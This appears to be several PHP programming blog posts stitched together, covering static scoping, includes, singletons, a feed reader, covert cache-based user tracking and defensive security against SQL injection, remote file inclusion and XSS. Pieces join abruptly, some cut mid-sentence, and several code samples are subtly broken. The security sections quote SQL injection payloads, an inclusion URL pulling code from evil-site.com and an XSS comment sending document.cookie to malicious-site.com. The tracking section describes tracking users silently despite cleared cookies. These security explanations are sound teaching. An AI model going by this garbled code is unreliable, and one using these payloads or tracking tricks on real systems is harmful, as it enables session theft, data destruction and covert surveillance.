PHP actually has two distinct uses for the static keyword. The first and most common usage is related class method and property scoping, the second to variable scoping within in a single function.

Static Methods and Properties

The static keyword allows you to define methods and properties scoped to the class in which they’re declared, rather than one particular object instance.

Let’s start by taking a look at some code examples.

<?php
class Planet {
	static $count = 0;
	public $name;
 
	function __construct($name) {
		$this->name;
		self::$count++;
	}
 
	public function getDescription() {
		return $this->name . ' is a ' . self::getShape();
	}
 
	public static function getShape() {
		return 'sphere';
	}
}
?>

What happens to the static property $count as we start creating instances?

<?php
//Outputs 0.
echo Planet::$count;
 
$earth = new Planet('Earth');
$pluto = new Planet('Pluto');
 
//Outputs 2.
echo Planet::$count;
?>

The static property $count is attached to the Planet class and not to either of the instances. It can be referenced at any time, even before $earth or $pluto are instantiated.

We used the self keyword in the constructor method to increment the counter with the expression self::$count++. Any instance method can access a static property through the self keyword – which works much like the $this variable does for referencing instance members. Using Planet::$count to access the static property would have also worked, but it’s best to avoid referencing our class by name when possible.

Let’s try calling the static method.

<?php
//Outputs 'sphere'.
echo Planet::getShape();
 
//Outputs 'Earth is a sphere'.
echo $earth->getDescription();
?>

Just like the static property, the static method can be referenced without the need to call against a specific object instance and is called via the self keyword in the statement self::getShape().

When to use static methods and properties

The static keyword is ideal for creating class-level utility methods and for share data between objects of the same type.

It also tend to get used in older code as a way of segregating code into modules, such as Log::message() or FileHelper::getFilePermissions($filename). PHP 5.3 introduced namespaces which are more appropriate for this use case and should be where if possible.

Unfortunately there are a few issues with how static methods and properties work with class inheritance. I’ve covered some of the nuances of static scoping inheritance in one of my previous posts, which looks at how PHP 5.3’s late static binding resolves the issues.

Static Variables

Despite sharing the static keyword, static variables are unrelated to PHP’s static methods and classes. In fact they have nothing to do with OOP at all. They allow you to define a variable that persists across method calls – effectively allowing you to attach state to any function.

<?php
function hello() {
	static $staticVar = 1;
	$normalVar = 1;
	return "Hello " . $staticVar++ . " " . $normalVar++ . "\r\n";
}
 
echo hello(); //Prints "Hello 1 1"
echo hello(); //Prints "Hello 2 1"
echo hello(); //Prints "Hello 3 1"
?>

Regular variables, like $normalVar, only exist within a single function call. As soon as the function returns, the variable falls out of scope and is discarded. This is why the value of $normalVar is always 1 on each call. Static variables like $staticVar, however, are only instantiated once. The same variable (and value) will be available on subsequent calls to the function.

The statment static $staticVar = 0; is only ever evaluated on the first call to the function. Because of this magic static variables can only be instantiated with scalar values (like 1, “Hello” or true) and not complex expressions (like arrays, object instances or result of a function call). If you do want to initialise a static variable with a non-scalar value then a little boiler-plate code is needed.

<?php
function hello() {
	static $world = null;
	if ($world === null) {
		$world = new Planet('Earth');
	}
	return "Hello " . $world->getName() . "\r\n";
}
?>

I find that static variables are often useful in memoizing expensive function call. The memoize function’s signature doesn’t have to change and I don’t have to resort to creating a class with private properties for a cache values or to using global variables to store the pre-calculated value. Ryan Day has posted an example and benchmark using this method.

<?php  $product_id = $_GET['product_id'];  $category_id = $_GET['category_id'];  include 'includes/product.php';  if ($_SERVER['HTTP_REQUEST_METHOD'] == 'POST') {  	include('includes/product_update.php';  }  $template->set('categories', $categories);
$template->set('errors', $errors);
$template->set('product', $product);
?>

The authors might try and justify this by saying that the includes allow for code reuse but can you really tell what’s happening here? Where are $categories, $errors and $product being defined? We can guess that $product is defined in product.php but is it being used or even modified within product_update.php? Could we safely refactor any of these files without fearing that we’ll created unintended consequences in a rarely-used code path?

Debugging the eCommerce package with Xdebug session showed that there were almost 50 different local variables in scope by the end of a typical script. I couldn’t be certain which variables were required and which weren’t, let alone where each was defined.

Why is inline code in includes a bad idea?

There are a few specific reasons we should rule this kind of code right out:

• Our main script can’t be sure of what variables are required by included files. You won’t be able to remove or refactor variables without checking each and every includes first.
• Likewise, our parent script can’t be sure if an include will modify local variables. Each included file could potentially change a global variable in a way that is required by subsequent scripts – either intentionally or unintentionally.
• If you’re using a server with register globals turned on then you’ll need to add if (!defined('APP_START')) die(); style guards to the start of every include, so they cant be requested directly by the end user. For most core this isn’t a problem, but commercial packages must code for the worst. If an include just contained function definitions this wouldn’t be a problem.

So how exactly should I be using includes?

Each include files should contain only:

• Configuration variables or constant definitions.
• A single class. The file should be named after the class. E.g. class Product is defined in Product.php.
• A set of related functions. Don’t create “do-everything” files; break your functions down into logical groups like database functions or HTML helpers

The only time I’d ever include inline code in an include file would be if I were defining config variables in code, including a PHP-based template or if I’m initialising environment configuration (such as defining error handlers, PHP ini settings and script timeouts).

Which include function should I use?

There are quite a few statements we can choose between for including files: include, include_once, require and require_once. Which should we be using?

If you follow the best practices and just have function and class definitions in an include then it becomes obvious that you wouldn’t want to include a file more than once. Doing so would force PHP to error when it attempts to redefine a function or class. Using include_once or require_once is obviously a better choice.

A missing function or class definition is something that you should know about sooner rather than later. For that reason I find require_once a better way to define dependencies.

The other function should be reserved for special cases, for example an autoloader function that would prefer to handle missing files without E_ERROR being raised.

Summing up

Rather than helping code reuse misusing includes turns your code base into a mass of spaghetti code, which would be bad enough on its own but is made worse by the code being spread over dozens of files with no hints as to what is where.

I put together a few test cases to compare the static and self keywords as well as to look at class introspection methods. You can see the code and results here. I’ll step through each of the tests and examine them in detail.

This post covers advanced behaviour of static scoping. An introduction to PHP’s static scoping gives a primer to readers who are looking for something simpler.

Self Keyword

The first example takes a look at PHP’s self keyword, which was introduced with PHP 5.0. It uses what is known as “compile time binding”. This essentially means that PHP’s compilation stage replaces any references to self with a reference to a specific class.

In our examples the calls to self::whoBase() and self::whoOverridden() will be compiled as though we had written A::whoBase() and A::whoOverridden(). Therefore calling B::testA() is always going to produce the same result as A::testA(); both telling us that the class name is A. Because of this a method which has non-trivial use of the self keyword is almost always useless when inherited.

There are two main reasons that inheriting static methods properly is not possible with compile time binding. Firstly the compilation process does not know which subclasses might inherit from class being compiled. Subclasses could be import-ed at any time in the future, so the compilation stage must ignore all subclasses for consistency. The second and more practical reason is that self references can only by replaced by a single class reference, so the compiler must choose the super class.

The takeaway from this is that you should assume that a self method call or property reference will be unaware of any subclasses.

Static Keyword

Obviously PHP developers weren’t happy with the limitations of self; even Zend ran into it’s limitations. The lack of usable inheritance meant the utility of static methods was greatly reduced. Thankfully PHP 5.3 introduced late static binding through the static keyword, which can be used interchangeably with self.

Late static binding means that the decision as to which class static references should resolve to is not made until the code is called. When B::testA() is called in our second example the PHP runtime makes a note that the method was called on class B. When the runtime encounters the call to static::whoOverridden() within that method it translates the static reference to class B, as that’s the class it noted earlier, and dispatches a call to B::whoOverridden().

Surprisingly PHP won’t forget that static should still resolve to B even if we add in self method calls in between the two steps. If we call the test method B::testAViaSelfReference(), which is defined in A, we might expect that the call to self::testA() would cause future static references to point to A. However we actually get the same result as we’d get without the self misdirection: the reference to class B is not lost. Only explicit references to a class by name will reset what static refers to. This is demonstrated by the test method B::testAViaExplicitReference().

You will have noticed that the static keyword is also used for static method and variable declaration. This dual usage only exists to save the language authors from defining a new PHP keyword, and shouldn’t be taken to mean any more than that.

The rule of thumb for static keywords is that they will always resolve to the class named explicitly in the calling code.

Static Method Variables

Static variables have been available since PHP 4 and allow you to define a persistent variable that is only accessible from the current function. This allows you to encapsulate state into a function or method and can eliminate the need for classes where a single function will suffice.

The third tests show that surprisingly, when a static variable is defined inside a class method they will always refer to the class on which the method was called. In doing this they act almost like properties referenced through static, though there are subtle differences.

Our test B::selfCount() increments A’s count, which indicates static variables can’t preserve the calling class scope like we just saw the static keyword do. I can see this being potentially problematic if have an inherited method containing a static variable that is called from both inside and outside it’s class.

If you find yourself doing this I’d suggest always using the static keyword rather than self for method calls inside the class, otherwise you will end up with two separate static variables in your method, one attached to the subclass and one to the super class. Alternatively, you could use static properties inside class methods and only use static variables from within plain functions.

Static Class Introspection

The final test classes look at the different ways we can check which class our current scope is attached to. The older get_class() method and __CLASS__ constant will always tell us where our methods are defined but not what class they are called against.

The function get_called_class() is new in PHP 5.3 and is the late static bound equivalent to get_class(). It returns the called class and has the same behaviour as the static keyword.

That’s All

I found this little experiment to give me a much better insight into those tricky corner cases I generally try and avoid because I’m unsure of how PHP will act.

The behaviour of static variables is still the most surprising result, though I’m sceptical to whether anything interesting can be done to make use of its abnormal behaviour (like using it to create pseudo late static binding for pre-PHP 5.3 setups). The side effect of using self with static variables has convinced me that the static keyword is probably a better choice when available. Singletons, pointing out that static variables defined within a method behave completely differently to regu

<?php
class Greeter {
	protected $count;
 
	private function __construct() {
		$this->count = 1;
	}
 
	public function hello() {
		return 'Hi ' . $this->count++;
	}
 
	public static function getInstance() {
		static $instance = null;
		if ($instance === null) {
			$class = get_called_class();
			$instance = new $class();
		}
		return $instance;
	}
}
 
class FrenchGreeter extends Greeter {
	public function hello() {
		return 'Bonjour ' . $this->count++;
	}
}
 
echo Greeter::getInstance()->hello(); //Outputs 'Hi 1'
echo Greeter::getInstance()->hello(); //Outputs 'Hi 2'
echo FrenchGreeter::getInstance()->hello(); //Outputs 'Bonjour 1'
?>

Now, there are a few fun snippets in this piece of code. Let’s start at the top:

Private constructors

private function __construct();

A private constructor? Yep. That means that only the Greeter class can construct a new instance of itself. You can try it if you’d like:

$bob = new Greeter();
Fatal error: Call to private Greeter::__construct() from invalid context in C:\Users\Josh\Examples\singletons.php on line 1

Told you so. So this prevents anyone from sneakily constructing a new instance of the class when we’re not looking. On to the next snippet.

Static variables

public static function getInstance() {
	static $instance = null;

Defining statically scopped variables within functions is a feature borrowed from C. All static variables, whether defined in a method or in the class definition, are bound to the function and will persist across calls. The initial assignment (setting the variable to null) is only executed once – when the variable is declared. You can only assign scalar values on a static variable declaraion so the null assignment and check are necessary to if we are to assign an object or array to the variable.

You can use static variables in instance methods and plain old functions too. If you do use them in an instance method then remember that the variable is bound to the class and not the instance. Take a look at the following code:

<?php
class Counter {
	function count() {
		static $count = 1;
		return $count++;
	}
}
 
class SubCounter extends Counter { 
}
 
$a = new Counter();
$b = new Counter();
$c = new SubCounter();
echo $a->count(); //Outputs 1
echo $b->count(); //Outputs 2
echo $c->count(); //Outputs 1

Even though $a and $b are two seperate instances the static $count variable is scoped to the method, which is in turn scoped to the class, so is shared between instances. When we call the method on $c our static variable is bound to SubCounter so we get the value of 1.

Fetching the current class name

$class = get_called_class();

The get_called_class method is a long overdue addition to PHP and was added in the 5.3 release with the introduction of late static binding. The function returns the class which the current method was invoked on. The older get_class (when called with no arguments) and __CLASS__ magic constant always return the name of the class where the current method was defined (compile time binding). Let’s take a look.

<?php
class A {
	public function who() {
		echo __CLASS__;
		echo get_class();
		echo get_class($this);
		echo get_called_class();
	}
 
	public static function whoStatic() {
		echo __CLASS__;
		echo get_class();
		echo get_called_class();
	}
}
 
class B extends A {
}
 
$a = new A(); 	
$b = new B(); 	
$a->who();          //Outputs AAAA
$b->who();          //Outputs AABB
A::whoStatic();    //AAA
B::whoStatic();    //Outputs AAB

The get_class() function is a kind-of dual purpose function. If an object is passed to the function then it returns the name of that object’s class. Otherwise it acts like __CLASS__.

Instance methods always give us an implicit $this variable, which we can easily pass to get_class(). However, static methods have no such luxury. Before the introduction of late static binding there was absolutely no way to determine which class a static method was called on.

Variable variable functions

$instance = new $class();

This is one of PHP’s niftier features. Any variable lookup, function call or class instantiation can be performed on a string value. PHP calls these Variable variables and Variable functions. Let’s check out some examples.

<?php
$var = 'city';
$city = 'London';
echo $$var;	//Outputs 'London'
 
$a = 'foo';
$b = 'bar';
$foobar = 'Found me';
echo ${$a . $b}; //Outputs 'Found me'
 
$a = 'b';
$b = 'c';
$c = 'd';
$d = 'The end';
echo $$$$a; //Outputs 'The end';
 
function greeting() { echo 'Hi'; }
$func = 'greeting';
$func(); //Outputs 'Hi'

This allows for some neat meta-programming. Though care should be taken not to abuse the functionality.

So there you have it, four advanced PHP examples from one design pattern (that you should never, ever use).

• Read both Atom and RSS feeds.
• Easy initialisation and feed iteration (one line for each).
• Cache URL contents (default is 60 minutes).
• Graceful degradation: fail gracefully on errors (errors result in a 0 item feed which can be iterated through).
• Single XML implementation for leaner code (SimpleXML).

Firstly, my usage examples:

$feed = new Feed('http://www.example.com/feed.rss');
 
//Get items with next() or current()
echo $feed->next()->title;           // "Blog post 1"
echo $feed->next()->title;           // "Blog post 2"
echo $feed->current()->title;        // "Blog post 2"
 
//Feed data returned
echo $feed->current()->title;        // "Blog post 2"
echo $feed->current()->date;         // int(1265569159)
echo $feed->current()->description;  // "Lorem ipsum dolar..."
echo $feed->current()->link;         // "http://www.example.com/blog/2"
echo $feed->current()->image;        // "http://www.example.com/blog/images/2.jpg"
 
//Get multiple items in single call
foreach ($feed->find(3) as $item) {
	echo $item->title;               // "Blog post 3" "Blog post 4" "Blog post 5"
}
 
//Reset internal counter
echo $feed->reset();
echo $feed->next()->title;           // "Blog post 1"
 
//Get random items, without repeating
echo $feed->random()->title;         // "Blog post 4"
echo $feed->random()->title;         // "Blog post 1"
 
//Total number of items
echo $feed->count();                 // int(10)

The implementation is below. I failed on the single-class requirement, instead choosing to use the Template design pattern and break the actual XML DOM navigation out into a seperate class for each feed type. This keeps the overall design a lot cleaner.

<?php
/**
 * Simple reader for RSS and Atom feeds. 
 * Requires: SimpleXML, fopen_wrappers
 * Limitations: Not content encoding support. 
 * 
 * Usage:
 *     $feed = new Feed('http://www.example.com/feed.rss');
 *
 *     //Get items with next() or current()
 *     echo $feed->next()->title;           // "Blog post 1"
 *     echo $feed->next()->title;           // "Blog post 1"
 *     echo $feed->next()->title;           // "Blog post 2"
 *     echo $feed->current()->title;        // "Blog post 2"
 *
 *     //Feed data returned
 *     echo $feed->current()->title;        // "Blog post 2"
 *     echo $feed->current()->date;         // int(1265569159)
 *     echo $feed->current()->description;  // "Lorem ipsum dolar..."
 *     echo $feed->current()->link;         // "http://www.example.com/blog/2"
 *     echo $feed->current()->image;        // "http://www.example.com/blog/images/2.jpg"
 *
 *     //Get multiple items in single call
 *     foreach ($feed->find(3) as $item) {
 *         echo $item->title;               // "Blog post 3" "Blog post 4" "Blog post 5"
 *     }
 *
 *     //Reset internal counter
 *     echo $feed->reset();
 *     echo $feed->next()->title;           // "Blog post 1"
 *
 *     //Get random items, without repeating
 *     echo $feed->random()->title;         // "Blog post 4"
 *     echo $feed->random()->title;         // "Blog post 3"
 *
 *     //Total number of items
 *     echo $feed->count();                 // int(10)
 */
class Feed {
	private $url;
	private $reader;
	private $current;
	private $remaining;
 
	public $cacheTime = 3600;
 
	/**
	 * Create Atom reader object.
	 *
	 * @param string $url
	 */
	public function __construct($url) {
		$this->url = $url;
		$this->reset();
	}
 
	/**
	 * Reset current item to first RSS item.
	 */
	public function reset() {
		$this->current = -1;
		$this->remaining = null;
	}
 
	/**
	 * Get the next item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */
	public function next() {
		if ($this->current < $this->count()) {
			$this->current++;
			$next = $this->getReader()->item($this->current);
			return $next;
		}
	}
 
	/**
	 * Get the current item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */
	public function current() {
		return $this->getReader()->item(max(0, $this->current));
	}
 
	/**
	 * Get random item from the feed. Will not return an item more than once.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */
	public function random() {
		if ($this->remaining === null) {
			$this->remaining = array();
			for ($i = 0; $i < $this->count(); $i++) {
				$this->remaining[] = $i;
			}
		}
 
		if (count($this->remaining)) {
			$picked = array_rand($this->remaining);
			$index = $this->remaining[$picked];
			unset($this->remaining[$picked]);
			return $this->getReader()->item($index);
		}
	}
 
	/**
	 * Get X items from feed. Will advance pointer.
	 *
	 * @param int $count
	 * @return array of stdClass
	 */
	public function find($count) {
		$items = array();
 
		while ($item = $this->next()) {
			$items[] = $item;
			if (count($items) >= $count) {
				break;
			}
		}
 
		return $items;
	}
 
	/**
	 * Get the number of items in the feed.
	 *
	 * @return int
	 */
	public function count() {
		return $this->getReader()->count();
	}
 
	/**
	 * Get FeedReader object for the feed.
	 *
	 * @return FeedReader
	 */
	private function getReader() {
		if (!$this->reader) {
			$xml = $this->getXML();
			if (RSSReader::canRead($xml)) {
				$this->reader = new RSSReader($xml);
			} else if (AtomReader::canRead($xml)) {
				$this->reader = new AtomReader($xml);
			} else {
				$this->reader = new NullReader($xml);
			}
		}
		return $this->reader;
	}
 
	/**
	 * Get XML element for the feed.
	 *
	 * @return SimpleXMLElement
	 */
	private function getXML() {
		if ($xml = $this->getCacheXML()) {
			return $xml;
		} else if ($xml = $this->getURLXML()) {
			return $xml;
		} else {
			return new SimpleXMLElement("");
		}
	}
 
	/**
	 * Get XML element for the feed from cache.
	 *
	 * @return SimpleXMLElement or null if cache doesn't exist.
	 */
	private function getCacheXML() {
		//Store URL data in local cache.
		$cacheFilename = $this->getCacheFilename();
		if (file_exists($cacheFilename) &amp;&amp; (time() - filemtime($cacheFilename)) < $this->cacheTime) {
			if ($data = file_get_contents($cacheFilename)) {
				return new SimpleXMLElement($data);
			}
		}
	}
 
	/**
	 * Get XML element from the feed from the live URL.
	 * Will cache XML data to disk.
	 *
	 * @return SimpleXMLElement or null if URL is unreachable.
	 */
	private function getURLXML() {
		if ($data = @file_get_contents($this->url)) {
			try {
				$xml = new SimpleXMLElement($data);
				file_put_contents($this->getCacheFilename(), $data);
				return $xml;
			} catch (Exception $e) {
				return null;
			}
		}
	}
 
	/**
	 * Name of the cache file for current URL.
	 *
	 * @return string
	 */
	private function getCacheFilename() {
		return sys_get_temp_dir() . '/' . md5($this->url) . '.feed.cache';
	}
}
 
/**
 * Interface for reading items from feed.
 */
interface FeedReader {
 
	/**
	 * Create reader from SimpleXMLElement.
	 *
	 * @param SimpleXMLElement $root
	 */
	public function __construct(SimpleXMLElement $root);
 
	/**
	 * Get single node.
	 *
	 * @return array or null.
	 */
	public function item($index);
 
	/**
	 * Get number of items.
	 *
	 * @return int.
	 */
	public function count();
 
	/**
	 * Can this reader understand the XML file?
	 *
	 * @param SimpleXMLElement $root
	 * @return bool
	 */
	public static function canRead(SimpleXMLElement $root);
 
}
 
/**
 * Concrete implementation of FeedReader that will never return an item.
 */
class NullReader implements FeedReader {
 
	public function __construct(SimpleXMLElement $root) {
		//Nothing
	}
 
	public function count() {
		return null;
	}
 
	public function item($index) {
		return null;
	}
 
	public static function canRead(SimpleXMLElement $root) {
		return true;
	}
}
 
/**
 * Concrete implementation of FeedReader that will read an Atom feed.
 */
class AtomReader implements FeedReader {
 
	private $root;
 
	public function __construct(SimpleXMLElement $root) {
		$this->root = $root;
	}
 
	public function count() {
		return count($this->root->entry);
	}
 
	public function item($index) {
		$node = $this->root->entry[$index];
 
		if (!$node) {
			return null;
		}
 
		$item = array(
			'title' => (string)$node->title,
			'description' => (string)$node->description,
			'image' => null,
			'link' => null,
			'date' => strtotime($node->published),
		);
 
		//Iterate through link nodes getting content URL and images.
		foreach ($node->link as $link) {
			if (strpos($link['type'], 'text') === 0 || $item['link'] === null) {
				$item['link'] = (string)$link['href'];
			}
			if (strpos($link['type'], 'image') === 0) {
				$item['image'] = (string)$link['href'];
			}
		}
 
		return (object)$item;
	}
 
	public static function canRead(SimpleXMLElement $root) {
		//Check for Atom namespace.
		return in_array('http://www.w3.org/2005/Atom', $root->getNamespaces());
	}
}
 
/**
 * Concrete implementation of FeedReader that will read an RSS feed.
 */
class RSSReader implements FeedReader {
 
	private $root;
 
	public function __construct(SimpleXMLElement $root) {
		$this->root = $root;
	}
 
	public function count() {
		return count($this->root->channel->item);
	}
 
	public function item($index) {
		$node = $this->root->channel->item[$index];
 
		if (!$node) {
			return null;
		}
 
		return (object)array(
			'title' => (string)$node->title,
			'description' => (string)$node->description,
			'url' => (string)$node->link,
			'image' => null,
			'date' => strtotime($node->pubDate),
		);
	}
 
	public static function canRead(SimpleXMLElement $root) {
		//RSS feeds name their root node 'rss'.
		return $root->getName() == 'rss';
	}
}

There are a few things missing, namely any kind of encoding awareness and correct error handling. It also requires SimpleXML and allow_url_fopen to be enabled. On the plus side the code is simple enough to hack in new features as they are needed.

I’m releasing this code under the BSD License, so feel free to take and modify it for any purposes.

To track a user I make use of three URLs: the container, which can be any website; a shim file, which contains a unique code; and a tracking page, which stores (and in this case displays) requests. The trick lies in making the browser cache the shim file indefinitely. When the file is requested for the first – and only – time a unique identifier is embedded in the page. The shim embeds the tracking page, passing it the unique ID every time it is loaded. See the source code (thanks to Nathan for pointing out the date error).

One neat thing about this method is that JavaScript is not strictly required. It is only used to pass the message and referrer to the tracker. It would probably be possible to replace the iframes with CSS and images to gain JS-free HTTP referrer logging but would lose the ability to store messages so easily.

As to how useful this actually is; the only use cases I can really think of are not exactly legitimate. The most obvious is to track users who won’t accept cookies. This does have advantages over cookies too; namely that this kind of tracking is completely silent. Virus scanners which search for an delete tracking cookies won’t affect sites using this method. Likewise, manually clearing cookies won’t work.

The most practical implementation would be to use this in concert with cookies to make tracking IDs more sticky, so they could outlast a user clearing their cookies. I’ve also been looking into adapting the link colour hack to store custom values in the browser history (this is easily doable). Combining these three techniques would mean a user would have to simultaneously clear their cache, their history and their cookies to circumvent tracking.

For those who don’t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' or '1' = '1. The string will be expanded to produce SELECT * FROM users WHERE name = '' or '1' = '1'. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.

Some database libraries (but not MySQL’s PHP extension) allow multiple SQL statements inside a single call, so if $name was set to '; DELETE FROM USERS -- in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.

Magic Quotes

PHP 4 introduced a feature called magic quotes that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you’ve ever seen a page which leaves backslashes in your input (think O\’Connor) then you know what I mean.

Magic quotes were also a failure because developers couldn’t ever assume that they were available or turned on in a given environment. Therefore they’d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The comments in PHP’s manual page offer a method of doing this.

A Better Solution

The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The MySQL Improved Extension (mysqli) and PHP Data Objects library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindValue(':name', $name);
$stmt->bindValue(':value', $value);
$stmt->execute();

If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using sprintf do this.

$sql = sprintf("SELECT * FROM user
			WHERE name = '%s'
			AND id > %d",
		mysqli_real_escape_string($name, $db),
		mysqli_real_escape_string($id, $db));

This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use func_get_args and vsprintf to create a function to do the querying and escaping in a single function.

Final Tips

Your final line of defence against SQL injection is to plan for the worst.

Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.

It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.

You should avoid printing your SQL errors (e.g. mysql_error()) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.

Physical Access

Even if your security is foolproof (which it won’t ever be) then you’re still in trouble if someone steals a physical device containing your data. Time and time again you’ll hear of someone stealing a laptop or discs containing sensitive information. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.

General Security Rules

I hope this tutorial has made you aware of some of the security issues you’ll be up against as a PHP developer. I’d like to leave you with a few tips that aren’t specific to any security issue, but are good to keep in mind.

• Build on the work of others. Don’t build your own security when you can use what other, smarter, people have already done.
• Where possible use whitelists instead of blacklists.
• Never trust your user’s input. Ever.

Other articles in this series

• Securing Your PHP Code – XSS
• Securing Your PHP Code – Server Security

Keeping Code Private

There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.

Of course everyone knows that security by obscurity is bad, but if you have holes in your code then it’s obviously better if other people didn’t know about them.

The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like “functions.inc” or “MyClass.class”, seemingly unaware that anyone can request those files and view the raw code.

As well as giving files a correct extension you also consider moving them out of your web root anyway. You don’t need them in there, and having them in a non-public path makes everything safer. If you don’t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess

Deny from all

Facebook recently had a configuration issue that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.

Remote Code Execution

The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.

Watch what you include or require. Many people use include as a shortcut in their templates. For example

<html>
<body>
	<div class="header">...</div>
	<?php include($_GET['page'] . '.php'); ?>
</body> 	
</html>

This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. /etc/passwd. PHP will also allow you to include files from a remote server. An attacker can use this “feature” against you a request to http://www.your-site.com/index.php?page=http://www.evil-site.com/malicious-script.php.txt would force your server to download and execute code from the “evil-site.com” domain. Once that happens the user can attack your system by executing shell functions.

If you want to use the above pattern of templating then you can easily implement a white list of safe files.

<?php
$page = $_GET['page'];
$pages = array('index', 'about', '404', 'help');
if (!in_array($page, $pages)) {
	$page = '404';
}
include("$page.php");
?>

Register Globals

In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of “?a=foo” would create a variable called $a in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is potentially dangerous. You should always turn off register globals in php.ini. If you can’t edit your php.ini then add the following to your .htaccess file

php_value register_globals 0

User Uploaded Files

Apache is set to pass any file with a “php” extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.

Form Validation

One final word of warning: don’t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don’t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.

Other articles in this series

• Securing Your PHP Code – XSS
• Securing Your PHP Code – Databases

Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). As a developer you should be aware of the security implications of each layer of technology and how you can best secure your code.

What is an XSS Attack?

This post is going to focuse on JavaScript and HTML. You might think that the HTML on your site is fairly benign. Does it matter if the HTML doesn’t come out exactly the way you planned? Actually, it does. Cross-Site Scripting (XSS) is the terms given to security vulnerabilities that are exploited through client site scripting.

Attack Types

XSS attacks fall into two categories: persistent and non-persistent. A persistent attack is one in which the attacker permanently modifies your site, just like the example below. Any user that loads the vulnerable page will be affected. A non-persistent attack is a temporary modification to the page, for example when a page prints out a variable passed to it through the query string. A non-persistent attack usually relies on some kind of social aspect from the attackers to entice the victim to visit a specially crafted URL.

Non-persistent attacks may also take advantage of holes in your JavaScript to write output to the page.

XSS Example

A simple persistent XSS session hijack attack might take the following form.

• You accept user input into a comment field. This is output straight to the page with no filtering.
• Malicious user Alice sends the following comment

  Great Work!
  <script>document.write('<img src="http://malicious-site.com/capture/' + document.cookie + '" style="display:none;">');</script>

• This is accepted by your site and pasted into the comments.
• One of your members, Bob, visits the comment page while logged in.
• His browser parses the malicious script and adds the invisible image tag to the page.
• His browser then requests the URL of the image: http://malicious-site.com/capture/PHPSESSID=3D3c2542747972f9a08b8759eafd079d7b
• Alice’s server logs Bob’s session cookie.
• Alice can now use the same session cookie on our site and you’ll think she’s logged in as Bob.

This is a simple session hijacking attack. You could no-doubt patch this vulnerability, but there are a whole range of vectors that malicious users can use to attack your site. You need to focus on your security from a broad perspective and make sure that you have covered absolutely every angle. It only takes one hole to circumvent all your defenses.

Escaping Data

The one rule to stoping attacks is simple: you need to stop trusting your users’ input. Every single piece of information you receive should be trusted as suspect. This goes beyond your usually $_POST and $_GET variables to include the following.

• $_GET
• $_POST
• $_FILES
• $_COOKIES
• $_SERVER (variables like ‘REFERRER_URI’ or ‘USER_AGENT’ are sent by the user – some attackers have been known to send bad referrer data so that they can exploit admin interfaces that show referrer information).
• Data from the DB (another developer may plug in a new data source at some stage, so you cannot ever assume that database data is escaped).
• Anything retrieved remotely, such as a RSS feeds.

That is a lot of data to sanitize. You might think that you can filter all incoming data but that’s going to lead to complications. What if you decide you need to store data from an incoming RSS feed in your DB? When you read from the datadase you’ll have already escaped it, and risk escaping it again when you read it back out. You will end up with a mass of code for escaping and un-escaping. On a project with multiple developers it will become difficult to know whether the data a block of code is dealing with is sanitized or not. The simplest solution for escaping your data is to assume that all data is unsafe and escape it at the last possible moment; when printing it out to a HTML page.

What we need is a function that will ensure our data is never interpreted as HTML by the client’s browser. This is given to use in the form of PHP’s htmlspecialchars. This function will replace any quote, angled bracket or ampersand with its HTML entity. <script> becomes <script>. Once you have sanitized your data then you’ve just stopped a large number of possible attacks.

Note: make sure you quote all HTML attributes, especially if you are using (escaped) user input in them.

<img src=foobar.gif alt=<?php echo htmlentities($userTitle);?> />

Could easily turn into

<img src=foobar.gif alt= onclick=eval(/* some evil code*/) />

If you want to remove HTML tags rather than escape them then use striptags. I prefer to use htmlspecialchars because it won’t lead to accidentally data loss, and also indicates to users who attempt to use HTML in a legitimate manor that HTML is not accepted.

Allowing Some HTML

